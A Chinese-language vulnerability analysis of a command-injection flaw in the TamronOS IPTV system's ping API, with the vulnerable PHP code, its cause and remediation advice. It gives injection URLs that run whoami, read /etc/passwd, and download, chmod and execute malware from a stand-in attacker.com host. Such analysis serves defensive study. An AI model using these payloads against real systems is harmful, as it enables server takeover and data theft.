TamronOS_IPTV系统任意命令执行漏洞
字数 918 2025-08-09 22:00:34
TamronOS IPTV系统任意命令执行漏洞分析
漏洞概述
TamronOS IPTV系统存在一个任意命令执行漏洞,该漏洞位于cgi/iptv/Controllers/ApiController.php文件的ping方法中。攻击者可以通过构造特定的HTTP请求,在服务器上执行任意系统命令。
漏洞位置
cgi/iptv/Controllers/ApiController.php文件中的ping方法
漏洞分析
漏洞代码关键点
public function ping()
{
$ip = $_GET['host'];
if($ip) {
// ... [省略部分参数处理代码] ...
$cmd = sprintf('/usr/bin/sudo /etc/exec/kping -t %s%s', $ip, join(' ', $options));
exec($cmd, $res);
}else{
$res = '域名或ip不能为空';
}
$respond = [
'suc' => 1,
'cmd' => $cmd,
'result' => join(PHP_EOL, $res)
];
$this->json($respond);
}
漏洞成因
- 未过滤的用户输入:
$ip变量直接从$_GET['host']获取,未经充分过滤或转义 - 直接拼接命令:
$ip被直接拼接到系统命令字符串中 - 使用exec执行命令:拼接后的命令字符串通过
exec()函数直接执行
攻击向量
攻击者可以通过构造特殊的host参数值注入任意命令:
/api/ping?host=;whoami
在这个例子中:
- 原始命令:
/usr/bin/sudo /etc/exec/kping -t [host] - 注入后命令:
/usr/bin/sudo /etc/exec/kping -t ;whoami
分号(;)在Linux系统中用于分隔多个命令,因此whoami会被作为独立命令执行。
漏洞利用
基本利用方式
-
直接访问漏洞URL:
/api/ping?host=;whoami -
服务器将执行:
/usr/bin/sudo /etc/exec/kping -t ;whoami -
返回结果中包含命令执行输出
进阶利用
攻击者可以构造更复杂的命令注入:
/api/ping?host=;cat+/etc/passwd
/api/ping?host=;wget+http://attacker.com/malware+-O+/tmp/malware
/api/ping?host=;chmod+777+/tmp/malware
/api/ping?host=;/tmp/malware
修复建议
-
输入验证:
$ip = filter_var($_GET['host'], FILTER_VALIDATE_IP); if (!$ip) { // 处理无效IP情况 } -
使用escapeshellarg()函数:
$cmd = sprintf('/usr/bin/sudo /etc/exec/kping -t %s%s', escapeshellarg($ip), join(' ', array_map('escapeshellarg', $options)) ); -
最小权限原则:
- 不要使用sudo执行此命令
- 使用专门的系统用户运行Web服务,限制其权限
-
使用白名单验证:
$allowed_modes = ['icmp', 'syn', 'arp', 'tracert', 'whois', 'tcpdump']; if(!in_array($mode, $allowed_modes)) { // 处理非法模式 } -
禁用危险函数:
- 在php.ini中禁用
exec()、system()等危险函数
- 在php.ini中禁用
漏洞影响
该漏洞允许攻击者在服务器上执行任意命令,可能导致:
- 服务器完全被控制
- 敏感信息泄露
- 作为跳板攻击内网其他系统
- 植入后门或恶意软件
总结
TamronOS IPTV系统的命令注入漏洞是一个典型的安全问题,源于未正确处理用户输入并将其直接拼接到系统命令中。开发人员应始终遵循安全编码实践,对所有用户输入进行严格验证和转义,特别是当这些输入用于系统命令、数据库查询或文件操作时。